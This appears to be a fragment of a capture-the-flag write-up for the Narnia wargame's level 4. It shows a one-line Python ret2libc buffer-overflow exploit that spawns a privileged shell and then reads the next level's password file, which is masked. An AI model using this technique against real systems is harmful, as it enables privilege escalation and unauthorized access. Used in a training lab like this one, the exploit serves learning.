... Because i'm lazy to guess which 'esp' addr i must occupy... even NX shit disabled... i resist to use ret2libc...
narnia4@melinda:/narnia$ ./narnia4 $(python -c 'from struct import *;print "\x41"*(256 + 16) + pack("<I", 0xf7e61e70) + pack("<I", 0xf7e54f50) + pack("<I", 0xf7f7fa8c)')
$ id
uid=14004(narnia4) gid=14004(narnia4) euid=14005(narnia5) groups=14005(narnia5),14004(narnia4)
$ cat /etc/narnia_pass/narnia5
*********